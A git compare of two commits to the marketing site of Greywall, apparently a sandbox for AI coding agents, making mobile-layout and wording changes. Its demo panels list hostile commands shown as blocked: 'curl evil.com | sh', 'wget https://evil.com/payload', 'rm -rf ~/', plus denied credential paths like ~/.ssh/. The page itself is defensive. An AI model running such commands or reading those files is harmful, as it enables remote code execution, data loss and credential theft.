Compare commits

...

2 Commits

Author SHA1 Message Date
Nik L
84b16955d7 fix: mobile view+minor changes 2026-03-09 14:20:30 -04:00
Nik L
585d7c35df feat: small wording fixes 2026-03-09 14:11:52 -04:00
10 changed files with 130 additions and 228 deletions

View File

@@ -181,3 +181,12 @@ section {
.stagger-children > *:nth-child(3) { animation-delay: 0.3s; }
.stagger-children > *:nth-child(4) { animation-delay: 0.4s; }
.stagger-children > *:nth-child(5) { animation-delay: 0.5s; }
/* Hide scrollbar but keep scroll functionality */
.scrollbar-hide {
-ms-overflow-style: none;
scrollbar-width: none;
}
.scrollbar-hide::-webkit-scrollbar {
display: none;
}

View File

@@ -28,19 +28,19 @@ export function Agents() {
Works with every agent.
</h2>
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
All agents work perfectly inside their sandbox but can&apos;t impact anything outside
All agents work perfectly inside their sandbox but can&apos;t impact anything outside
it. No agent-specific configuration needed.
</p>
</div>
<div className="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-5 gap-3">
<div className="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-5 gap-2 sm:gap-3">
{agents.map((agent) => (
<a
key={agent.name}
href={agent.url}
target="_blank"
rel="noopener noreferrer"
className="group flex items-center gap-3 p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 hover:bg-card/50 transition-all cursor-pointer"
className="group flex items-center gap-2.5 sm:gap-3 p-3 sm:p-4 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20 hover:bg-card/50 transition-all cursor-pointer"
>
<img
src={`https://github.com/${agent.org}.png?size=64`}

View File

@@ -167,24 +167,24 @@ export function Comparison() {
</p>
</div>
{/* Desktop table */}
<div className="hidden md:block rounded-lg border border-border/40 overflow-hidden">
<table className="w-full text-sm">
{/* Table — scrollable on mobile */}
<div className="rounded-lg border border-border/40 overflow-x-auto scrollbar-hide">
<table className="w-full text-sm min-w-[540px]">
<thead>
<tr className="border-b border-border/40 bg-card/40">
<th className="text-left py-3.5 px-4 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
<th className="text-left py-3 sm:py-3.5 px-3 sm:px-4 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
Feature
</th>
<th className="text-center py-3.5 px-3 font-sans font-semibold text-xs uppercase tracking-wider text-primary">
<th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-semibold text-xs uppercase tracking-wider text-primary">
Greywall
</th>
<th className="text-center py-3.5 px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
<th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
Safehouse
</th>
<th className="text-center py-3.5 px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
Claude Sandbox
<th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
Claude
</th>
<th className="text-center py-3.5 px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
<th className="text-center py-3 sm:py-3.5 px-2 sm:px-3 font-sans font-medium text-muted-foreground text-xs uppercase tracking-wider">
Containers
</th>
</tr>
@@ -195,25 +195,25 @@ export function Comparison() {
key={row.feature}
className={`border-b border-border/20 ${i % 2 === 0 ? 'bg-card/10' : ''}`}
>
<td className="py-3 px-4 font-serif text-sm text-foreground">
<td className="py-2.5 sm:py-3 px-3 sm:px-4 font-serif text-sm text-foreground whitespace-nowrap">
{row.feature}
</td>
<td className="py-3 px-3 text-center">
<td className="py-2.5 sm:py-3 px-2 sm:px-3 text-center">
<div className="flex justify-center">
<CellIcon value={row.greywall} />
</div>
</td>
<td className="py-3 px-3 text-center">
<td className="py-2.5 sm:py-3 px-2 sm:px-3 text-center">
<div className="flex justify-center">
<CellIcon value={row.safehouse} />
</div>
</td>
<td className="py-3 px-3 text-center">
<td className="py-2.5 sm:py-3 px-2 sm:px-3 text-center">
<div className="flex justify-center">
<CellIcon value={row.claudeSandbox} />
</div>
</td>
<td className="py-3 px-3 text-center">
<td className="py-2.5 sm:py-3 px-2 sm:px-3 text-center">
<div className="flex justify-center">
<CellIcon value={row.containers} />
</div>
@@ -224,36 +224,6 @@ export function Comparison() {
</table>
</div>
{/* Mobile cards */}
<div className="md:hidden space-y-2">
{rows.map((row) => (
<div
key={row.feature}
className="p-4 rounded-lg border border-border/30 bg-card/20"
>
<div className="font-serif text-sm text-foreground mb-3">{row.feature}</div>
<div className="grid grid-cols-4 gap-1.5 text-center">
<div>
<div className="text-[10px] font-sans text-primary font-medium mb-1">Greywall</div>
<div className="flex justify-center"><CellIcon value={row.greywall} /></div>
</div>
<div>
<div className="text-[10px] font-sans text-muted-foreground font-medium mb-1">Safehouse</div>
<div className="flex justify-center"><CellIcon value={row.safehouse} /></div>
</div>
<div>
<div className="text-[10px] font-sans text-muted-foreground font-medium mb-1">Claude</div>
<div className="flex justify-center"><CellIcon value={row.claudeSandbox} /></div>
</div>
<div>
<div className="text-[10px] font-sans text-muted-foreground font-medium mb-1">Containers</div>
<div className="flex justify-center"><CellIcon value={row.containers} /></div>
</div>
</div>
</div>
))}
</div>
{/* Legend */}
<div className="mt-6 flex flex-wrap items-center gap-5 text-xs font-sans text-muted-foreground">
<div className="flex items-center gap-1.5">

View File

@@ -10,7 +10,6 @@ const tree = [
{ path: ' node_modules/', access: 'r', color: 'yellow' },
{ path: '~/shared-lib/', access: 'r', color: 'yellow' },
{ path: '~/.ssh/', access: 'deny', color: 'red' },
{ path: '~/.aws/', access: 'deny', color: 'red' },
{ path: '~/.env', access: 'deny', color: 'red' },
{ path: '~/other-repos/', access: 'deny', color: 'red' },
{ path: '~/Documents/', access: 'deny', color: 'red' },
@@ -52,26 +51,26 @@ export function Control() {
Default deny. Explicit allow.
</h2>
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
Agents inherit your full permissions. Greywall flips this nothing is accessible
Agents inherit your full permissions. Greywall flips this: nothing is accessible
unless explicitly granted. Filesystem, network, and commands all start closed.
</p>
</div>
<PlatformToggle />
</div>
<div className="grid grid-cols-1 lg:grid-cols-2 gap-6">
<div className="grid grid-cols-1 lg:grid-cols-2 gap-4 sm:gap-6">
{/* Directory tree visualization */}
<div className="p-6 rounded-lg border border-border/40 bg-card/30">
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="flex items-center gap-3 mb-5">
<FolderLock className="h-5 w-5 text-primary" />
<h3 className="font-sans font-semibold text-sm">Deny-first access model</h3>
</div>
<div className="space-y-1 font-mono text-sm">
<div className="space-y-1 font-mono text-xs sm:text-sm">
{tree.map((item, i) => (
<div key={i} className="flex items-center justify-between py-1">
<span className={textColor(item.color)}>{item.path}</span>
<div key={i} className="flex items-center justify-between py-1 gap-2">
<span className={`${textColor(item.color)} truncate min-w-0`}>{item.path}</span>
<span
className={`text-[10px] font-sans uppercase tracking-wider px-2 py-0.5 rounded ${badgeClasses(item.color)}`}
className={`text-[10px] font-sans uppercase tracking-wider px-2 py-0.5 rounded shrink-0 ${badgeClasses(item.color)}`}
>
{accessLabels[item.access]}
</span>
@@ -80,12 +79,12 @@ export function Control() {
</div>
<p className="text-xs text-muted-foreground font-serif mt-4 leading-relaxed">
SSH keys, git hooks, shell configs, and <code className="font-mono text-[11px]">.env</code> files
are always protected even inside allowed directories.
are always protected, even inside allowed directories.
</p>
</div>
{/* Network isolation */}
<div className="p-6 rounded-lg border border-border/40 bg-card/30">
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="flex items-center gap-3 mb-5">
<Wifi className="h-5 w-5 text-primary" />
<h3 className="font-sans font-semibold text-sm">Network isolation</h3>
@@ -102,26 +101,26 @@ export function Control() {
<div className="ml-4"><span className="text-muted-foreground">-proxy</span> <span className="text-green-400/70">socks5://localhost:43052</span></div>
</div>
</div>
<div className="space-y-2 font-mono text-xs">
<div className="flex items-center justify-between py-1.5 border-b border-border/20">
<span className="text-greyhaven-offwhite">curl https://api.anthropic.com</span>
<span className="text-green-400/70 text-[10px]">TUN &rarr; PROXY &rarr; ALLOW</span>
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">curl https://api.anthropic.com</span>
<span className="text-green-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20">
<span className="text-greyhaven-offwhite">npm install lodash</span>
<span className="text-green-400/70 text-[10px]">TUN &rarr; PROXY &rarr; ALLOW</span>
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">npm install lodash</span>
<span className="text-green-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; ALLOW</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20">
<span className="text-greyhaven-offwhite">wget https://evil.com/payload</span>
<span className="text-red-400/70 text-[10px]">TUN &rarr; PROXY &rarr; DENY</span>
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">wget https://evil.com/payload</span>
<span className="text-red-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
</div>
<div className="flex items-center justify-between py-1.5">
<span className="text-greyhaven-offwhite">nc -z 10.0.0.1 22</span>
<span className="text-red-400/70 text-[10px]">TUN &rarr; PROXY &rarr; DENY</span>
<div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">nc -z 10.0.0.1 22</span>
<span className="text-red-400/70 text-[10px] shrink-0">TUN &rarr; PROXY &rarr; DENY</span>
</div>
</div>
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
Full network namespace isolation the process can&apos;t see the host network.
Full network namespace isolation. The process can&apos;t see the host network.
Every packet hits the TUN device and routes through GreyProxy, including
binaries that ignore proxy env vars.
</p>
@@ -143,62 +142,62 @@ export function Control() {
</div>
</div>
</div>
<div className="space-y-2 font-mono text-xs">
<div className="flex items-center justify-between py-1.5 border-b border-border/20">
<span className="text-greyhaven-offwhite">api.anthropic.com</span>
<span className="text-green-400/70 text-[10px]">VIA PROXY</span>
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">api.anthropic.com</span>
<span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20">
<span className="text-greyhaven-offwhite">registry.npmjs.org</span>
<span className="text-green-400/70 text-[10px]">VIA PROXY</span>
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">registry.npmjs.org</span>
<span className="text-green-400/70 text-[10px] shrink-0">VIA PROXY</span>
</div>
<div className="flex items-center justify-between py-1.5 border-b border-border/20">
<span className="text-greyhaven-offwhite">evil.com (direct)</span>
<span className="text-red-400/70 text-[10px]">KERNEL DENY</span>
<div className="flex items-center justify-between py-1.5 border-b border-border/20 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">evil.com (direct)</span>
<span className="text-red-400/70 text-[10px] shrink-0">KERNEL DENY</span>
</div>
<div className="flex items-center justify-between py-1.5">
<span className="text-greyhaven-offwhite">analytics.vendor.io</span>
<span className="text-red-400/70 text-[10px]">PROXY DENY</span>
<div className="flex items-center justify-between py-1.5 min-w-0 gap-2">
<span className="text-greyhaven-offwhite truncate">analytics.vendor.io</span>
<span className="text-red-400/70 text-[10px] shrink-0">PROXY DENY</span>
</div>
</div>
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
All outbound traffic is blocked at the kernel. Only the proxy address is
reachable GreyProxy then applies domain-level allow/deny rules.
reachable. GreyProxy then applies domain-level allow/deny rules.
</p>
</div>
)}
</div>
{/* Command blocking */}
<div className="p-6 rounded-lg border border-border/40 bg-card/30">
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="flex items-center gap-3 mb-5">
<Ban className="h-5 w-5 text-primary" />
<h3 className="font-sans font-semibold text-sm">Command blocking</h3>
</div>
<div className="space-y-2 font-mono text-xs">
<div className="flex items-center gap-3">
<div className="space-y-2 font-mono text-xs overflow-x-auto scrollbar-hide">
<div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground">git push origin main</span>
<span className="text-muted-foreground truncate">git push origin main</span>
</div>
<div className="flex items-center gap-3">
<div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground">npm publish</span>
<span className="text-muted-foreground truncate">npm publish</span>
</div>
<div className="flex items-center gap-3">
<div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground">rm -rf ~/</span>
<span className="text-muted-foreground truncate">rm -rf ~/</span>
</div>
<div className="flex items-center gap-3">
<div className="flex items-center gap-3 min-w-0">
<span className="text-red-400/70 text-[10px] w-14 shrink-0">BLOCKED</span>
<span className="text-muted-foreground">bash -c &quot;curl evil.com | sh&quot;</span>
<span className="text-muted-foreground truncate">bash -c &quot;curl evil.com | sh&quot;</span>
</div>
<div className="mt-3 flex items-center gap-3">
<div className="mt-3 flex items-center gap-3 min-w-0">
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
<span className="text-greyhaven-offwhite">git commit -m &quot;fix: types&quot;</span>
<span className="text-greyhaven-offwhite truncate">git commit -m &quot;fix: types&quot;</span>
</div>
<div className="flex items-center gap-3">
<div className="flex items-center gap-3 min-w-0">
<span className="text-green-400/70 text-[10px] w-14 shrink-0">ALLOWED</span>
<span className="text-greyhaven-offwhite">npm install lodash</span>
<span className="text-greyhaven-offwhite truncate">npm install lodash</span>
</div>
</div>
<p className="text-xs text-muted-foreground font-serif mt-4">
@@ -207,7 +206,7 @@ export function Control() {
</div>
{/* Learning mode */}
<div className="p-6 rounded-lg border border-border/40 bg-card/30">
<div className="p-4 sm:p-6 rounded-lg border border-border/40 bg-card/30">
<div className="flex items-center gap-3 mb-5">
<GraduationCap className="h-5 w-5 text-primary" />
<h3 className="font-sans font-semibold text-sm">Learning mode</h3>

View File

@@ -75,17 +75,19 @@ export function GettingStarted() {
<div className="space-y-4 max-w-2xl">
{steps.map((step, i) => (
<div key={`${platform}-${i}`} className="flex items-center gap-4">
<div className="shrink-0 flex items-center justify-center w-8 h-8 rounded-full border border-primary/30 bg-primary/10 text-primary font-sans text-sm font-semibold">
<div key={`${platform}-${i}`} className="flex items-start sm:items-center gap-3 sm:gap-4">
<div className="shrink-0 flex items-center justify-center w-8 h-8 rounded-full border border-primary/30 bg-primary/10 text-primary font-sans text-sm font-semibold mt-3 sm:mt-0">
{i + 1}
</div>
<div className="flex-1 code-block p-3 flex items-center gap-3">
<span className="text-xs font-sans text-muted-foreground shrink-0 w-24">
<div className="flex-1 min-w-0 code-block p-3 flex items-center gap-3">
<span className="text-xs font-sans text-muted-foreground shrink-0 w-20 sm:w-24 hidden sm:block">
{step.label}
</span>
<code className="flex-1 font-mono text-sm text-greyhaven-offwhite truncate">
{step.cmd}
</code>
<div className="flex-1 min-w-0 overflow-x-auto scrollbar-hide">
<code className="font-mono text-xs sm:text-sm text-greyhaven-offwhite whitespace-nowrap">
{step.cmd}
</code>
</div>
<button
onClick={() => copy(step.cmd, i)}
className="shrink-0 p-1 rounded text-muted-foreground hover:text-foreground transition-colors"

View File

@@ -1,7 +1,7 @@
'use client'
import { useState } from 'react'
import { Copy, Check, Terminal } from 'lucide-react'
import { Copy, Check } from 'lucide-react'
export function Hero() {
const [copied, setCopied] = useState(false)
@@ -15,7 +15,7 @@ export function Hero() {
}
return (
<section className="relative pt-32 pb-24 px-6 overflow-hidden">
<section className="relative pt-24 sm:pt-32 pb-16 sm:pb-24 px-4 sm:px-6 overflow-hidden">
{/* Subtle background gradient */}
<div className="absolute inset-0 bg-[radial-gradient(ellipse_at_top,rgba(217,94,42,0.05)_0%,transparent_50%)]" />
{/* Grid pattern */}
@@ -63,11 +63,13 @@ export function Hero() {
{/* Install command */}
<div className="mx-auto max-w-5xl">
<div className="code-block glow-orange px-5 py-3.5 flex items-center justify-between gap-4">
<code className="font-mono text-greyhaven-offwhite text-[13px] whitespace-nowrap">
<span className="text-muted-foreground">$ </span>
{installCmd}
</code>
<div className="code-block glow-orange px-4 sm:px-5 py-3.5 flex items-center justify-between gap-3">
<div className="overflow-x-auto min-w-0 flex-1 scrollbar-hide">
<code className="font-mono text-greyhaven-offwhite text-[13px] whitespace-nowrap">
<span className="text-muted-foreground">$ </span>
{installCmd}
</code>
</div>
<button
onClick={copyInstall}
className="shrink-0 p-1.5 rounded-md text-muted-foreground hover:text-foreground hover:bg-accent/30 transition-all"

View File

@@ -15,28 +15,28 @@ const linuxLayers = [
icon: Lock,
name: 'Landlock',
tag: 'Filesystem',
desc: 'Kernel-level filesystem access control. Enforces granular read/write permissions below userspace — processes cannot escalate their own access.',
desc: 'Kernel-level filesystem access control. Enforces granular read/write permissions below userspace. Processes cannot escalate their own access.',
detail: 'Linux 5.13+',
},
{
icon: ShieldCheck,
name: 'Seccomp BPF',
tag: 'Syscalls',
desc: 'Blocks 27 dangerous system calls at the kernel boundary ptrace, mount, kexec, module loading, and BPF manipulation are all denied.',
desc: 'Blocks 27+ dangerous system calls at the kernel boundary. ptrace, mount, kexec, module loading, and BPF manipulation are all denied.',
detail: 'Linux 3.5+',
},
{
icon: Eye,
name: 'eBPF Monitoring',
tag: 'Visibility',
desc: 'Traces syscall exits in real time across all layers. Every permission denial is captured instantly with full context process, path, and reason.',
desc: 'Traces syscall exits in real time across all layers. Every permission denial is captured instantly with full context: process, path, and reason.',
detail: 'Linux 4.15+',
},
{
icon: Wifi,
name: 'TUN + SOCKS5 Proxy',
tag: 'Network',
desc: 'Transparent network capture at the kernel level via TUN device. All TCP/UDP traffic is routed through the proxy even binaries that ignore env vars.',
desc: 'Transparent network capture at the kernel level via TUN device. All TCP/UDP traffic is routed through the proxy, even binaries that ignore env vars.',
detail: 'Any kernel',
},
]
@@ -99,7 +99,7 @@ export function Layers() {
</h2>
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
{platform === 'linux'
? 'Each layer operates independently. A bug in one is caught by another. No single point of failure — every constraint is enforced at the kernel level.'
? 'Each layer operates independently. A bug in one is caught by another. No single point of failure. Every constraint is enforced at the kernel level.'
: 'macOS Seatbelt enforces deny-by-default policies before any syscall completes. The sandbox profile is generated per-session with rules tailored to your project.'}
</p>
</div>
@@ -110,7 +110,7 @@ export function Layers() {
{layers.map((layer) => (
<div
key={layer.name}
className="layer-card group flex items-start gap-5 p-5 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20"
className="layer-card group flex items-start gap-3 sm:gap-5 p-4 sm:p-5 rounded-lg border border-border/40 bg-card/30 hover:border-primary/20"
>
<div className="shrink-0 flex items-center justify-center w-10 h-10 rounded-md bg-primary/10 text-primary">
<layer.icon className="h-5 w-5" />
@@ -152,7 +152,7 @@ export function Layers() {
) : (
<>
<span className="text-primary font-medium">No dependencies.</span>{' '}
macOS sandboxing uses only built-in OS capabilities no packages to install.
macOS sandboxing uses only built-in OS capabilities. No packages to install.
Run{' '}
<code className="font-mono text-xs text-foreground bg-card/50 px-1.5 py-0.5 rounded">
greywall check

View File

@@ -1,4 +1,4 @@
import { Eye, Activity, ShieldQuestion, Zap } from 'lucide-react'
import { Eye } from 'lucide-react'
export function Observability() {
return (
@@ -12,107 +12,33 @@ export function Observability() {
</span>
</div>
<h2 className="font-serif text-3xl sm:text-4xl font-semibold tracking-tight mb-4">
Watch it reach. Then decide.
See every network connection.
</h2>
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
You can&apos;t predict what your agent will access. Greywall makes every filesystem
operation and network connection visible in real time so you make informed decisions
instead of guessing policies upfront.
You can&apos;t predict which domains your agent will reach for. GreyProxy captures
every outbound connection and lets you allow or deny them in real time, without
restarting the session.
</p>
</div>
<div className="grid grid-cols-1 md:grid-cols-2 gap-6 items-stretch">
{/* Monitor mode */}
<div className="flex flex-col gap-4">
<div className="flex items-center gap-3">
<div className="flex items-center justify-center w-8 h-8 rounded-md bg-primary/10 text-primary">
<Activity className="h-4 w-4" />
</div>
<h3 className="font-sans font-semibold text-sm">Real-time violation monitor</h3>
</div>
<div className="code-block p-4 flex-1">
<div className="text-xs text-muted-foreground mb-3 font-sans uppercase tracking-wider">
Live violation stream
</div>
<div className="space-y-1.5 font-mono text-xs">
<div>
<span className="text-muted-foreground">$ </span>
<span className="text-greyhaven-offwhite">greywall -m -- claude</span>
</div>
<div className="mt-2 text-muted-foreground">
[14:23:01] <span className="text-red-400/80">DENY</span>{' '}
<span className="text-greyhaven-offwhite">read</span>{' '}
~/.ssh/id_ed25519
</div>
<div className="text-muted-foreground">
[14:23:01] <span className="text-red-400/80">DENY</span>{' '}
<span className="text-greyhaven-offwhite">read</span>{' '}
~/.aws/credentials
</div>
<div className="text-muted-foreground">
[14:23:02] <span className="text-red-400/80">DENY</span>{' '}
<span className="text-greyhaven-offwhite">write</span>{' '}
~/.bashrc
</div>
<div className="text-muted-foreground">
[14:23:03] <span className="text-green-400/70">ALLOW</span>{' '}
<span className="text-greyhaven-offwhite">read</span>{' '}
./src/index.ts
</div>
<div className="text-muted-foreground">
[14:23:03] <span className="text-green-400/70">ALLOW</span>{' '}
<span className="text-greyhaven-offwhite">write</span>{' '}
./src/utils.ts
</div>
</div>
<div className="mx-auto max-w-3xl">
<div className="flex items-center gap-3 mb-4">
<div className="flex items-center justify-center w-8 h-8 rounded-md bg-primary/10 text-primary">
<Eye className="h-4 w-4" />
</div>
<h3 className="font-sans font-semibold text-sm">GreyProxy dashboard</h3>
</div>
{/* GreyProxy screenshot */}
<div className="flex flex-col gap-4">
<div className="flex items-center gap-3">
<div className="flex items-center justify-center w-8 h-8 rounded-md bg-primary/10 text-primary">
<Eye className="h-4 w-4" />
</div>
<h3 className="font-sans font-semibold text-sm">GreyProxy dashboard</h3>
</div>
<div className="rounded-lg border border-border/40 overflow-hidden flex-1 flex items-center bg-card/30">
<img
src="/greyproxy.png"
alt="GreyProxy dashboard showing pending network requests with Allow and Deny controls"
className="w-full h-auto"
/>
</div>
</div>
</div>
{/* Value props */}
<div className="mt-8 grid grid-cols-1 md:grid-cols-3 gap-4">
<div className="p-5 rounded-lg border border-border/40 bg-card/30">
<ShieldQuestion className="h-4 w-4 text-primary mb-3" />
<h4 className="font-sans font-medium text-sm mb-1">Answer hard questions</h4>
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
What did the agent see? What did it access? What was denied? Greywall makes these
questions answerable for any session, at any time, after the fact.
</p>
</div>
<div className="p-5 rounded-lg border border-border/40 bg-card/30">
<Zap className="h-4 w-4 text-primary mb-3" />
<h4 className="font-sans font-medium text-sm mb-1">Move faster, safely</h4>
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
Once you can see what agents do and control it without breaking flow, you stop
hesitating. Longer autonomous runs, more sub-agents, faster iteration on sensitive
workloads.
</p>
</div>
<div className="p-5 rounded-lg border border-border/40 bg-card/30">
<Activity className="h-4 w-4 text-primary mb-3" />
<h4 className="font-sans font-medium text-sm mb-1">Operate, don&apos;t hope</h4>
<p className="text-xs text-muted-foreground font-serif leading-relaxed">
Observability is the difference between operating AI and hoping AI operates.
Security becomes an enabler of velocity, not a constraint on it.
</p>
<div className="rounded-lg border border-border/40 overflow-hidden bg-card/30">
<img
src="/greyproxy.png"
alt="GreyProxy dashboard showing pending network requests with Allow and Deny controls"
className="w-full h-auto"
/>
</div>
<p className="text-xs text-muted-foreground font-serif leading-relaxed mt-4">
Every outbound request is visible. Allow trusted domains, block unknown ones,
and adjust policies live as your agent works.
</p>
</div>
</div>
</section>

View File

@@ -34,10 +34,10 @@ export function PlatformToggle() {
const [platform, setPlatform] = usePlatform()
return (
<div className="inline-flex items-center rounded-lg border border-border/50 bg-card/30 p-0.5">
<div className="inline-flex items-center rounded-lg border border-border/50 bg-card/30 p-0.5 shrink-0 self-start">
<button
onClick={() => setPlatform('linux')}
className={`px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
className={`px-3.5 sm:px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
platform === 'linux'
? 'bg-primary text-primary-foreground shadow-sm'
: 'text-muted-foreground hover:text-foreground'
@@ -47,7 +47,7 @@ export function PlatformToggle() {
</button>
<button
onClick={() => setPlatform('macos')}
className={`px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
className={`px-3.5 sm:px-4 py-1.5 rounded-md text-xs font-sans font-medium transition-all ${
platform === 'macos'
? 'bg-primary text-primary-foreground shadow-sm'
: 'text-muted-foreground hover:text-foreground'

View File

@@ -1,4 +1,4 @@
import { AlertTriangle, KeyRound, Globe, FolderOpen, FileCode } from 'lucide-react'
import { AlertTriangle, KeyRound, FolderOpen, FileCode } from 'lucide-react'
const exposures = [
{
@@ -7,12 +7,6 @@ const exposures = [
label: 'SSH keys',
desc: 'Private keys, known hosts, agent configs',
},
{
icon: Globe,
path: '~/.aws/',
label: 'Cloud credentials',
desc: 'AWS tokens, GCP configs, Azure secrets',
},
{
icon: FileCode,
path: '.env',
@@ -43,12 +37,12 @@ export function Problem() {
</h2>
<p className="text-muted-foreground font-serif text-lg leading-relaxed">
AI coding agents run as your user. They see your SSH keys, cloud tokens, env files, and
entire home directory. The model decides what to access at runtime guided by weights
entire home directory. The model decides what to access at runtime, guided by weights
you didn&apos;t train, at machine speed. One wrong inference is all it takes.
</p>
</div>
<div className="grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-4 gap-4">
<div className="grid grid-cols-1 sm:grid-cols-3 gap-4">
{exposures.map((item) => (
<div
key={item.path}
@@ -63,7 +57,7 @@ export function Problem() {
<div className="mt-10 p-5 rounded-lg border border-border/30 bg-card/20">
<p className="text-sm text-muted-foreground font-serif leading-relaxed">
<span className="text-foreground font-medium">Most setups rely on promises</span>
<span className="text-foreground font-medium">Most setups rely on promises:</span>{' '}
trust the model provider&apos;s policies, trust the application code, trust that the
agent respects boundaries. Greywall replaces trust with enforcement. Constraints are
applied at the kernel level, below anything the agent or model can circumvent.